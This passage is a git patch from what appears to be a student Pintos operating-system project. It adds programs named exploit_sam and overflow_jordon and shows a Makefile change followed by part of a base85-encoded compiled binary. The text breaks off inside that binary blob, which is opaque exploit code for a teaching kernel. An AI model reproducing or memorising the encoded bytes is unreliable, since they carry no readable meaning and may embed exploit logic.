From ee9a4f9ebaa00e3bd0e1a75b83218527ddd5b50d Mon Sep 17 00:00:00 2001
From: sambarr <s3-barr@>
Date: Sat, 22 Jul 2023 08:01:31 +0100
Subject: [PATCH] added exploits and close syscall

---
 src/examples/Makefile          |   4 +-
 src/examples/exploit_sam       | Bin 0 -> 37056 bytes
 src/examples/exploit_sam.c     |  24 ++++++++-
 src/examples/overflow.c        |  88 +++++++++++++++++++++++++++++++++
 src/examples/overflow_jordon   | Bin 0 -> 37956 bytes
 src/examples/overflow_jordon.c |  72 +++++++++++++++++++++++++++
 src/userprog/syscall.c         |  31 ++++++++++++
 7 files changed, 215 insertions(+), 4 deletions(-)
 create mode 100755 src/examples/exploit_sam
 create mode 100644 src/examples/overflow.c
 create mode 100755 src/examples/overflow_jordon
 create mode 100644 src/examples/overflow_jordon.c

diff --git a/src/examples/Makefile b/src/examples/Makefile
index 264a535..7e8fa86 100644
--- a/src/examples/Makefile
+++ b/src/examples/Makefile
@@ -4,7 +4,7 @@ SRCDIR = ..
 # To add a new test, put its name on the PROGS list
 # and then add a name_SRC line that lists its source files.
 PROGS = cat cmp cp echo halt hex-dump ls mcat mcp mkdir pwd rm shell \
-	bubsort insult lineup matmult recursor my create remove exec exit open close exploit_sam overflow
+	bubsort insult lineup matmult recursor my create remove exec exit open close exploit_sam overflow_jordon
 
 # Should work from project 2 onward.
 cat_SRC = cat.c
@@ -26,7 +26,7 @@ close_SRC = close.c
 exit_SRC = exit.c
 exec_SRC = exec.c
 exploit_sam_SRC = exploit_sam.c
-overflow_SRC = overflow.c
+overflow_jordon_SRC = overflow.c
 
 # Should work in project 3; also in project 4 if VM is included.
 bubsort_SRC = bubsort.c
diff --git a/src/examples/exploit_sam b/src/examples/exploit_sam
new file mode 100755
index 0000000000000000000000000000000000000000..98fabe3a9b5c934cbdb5e02aaeaccc7118a9c4bc
GIT binary patch
literal 37056
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
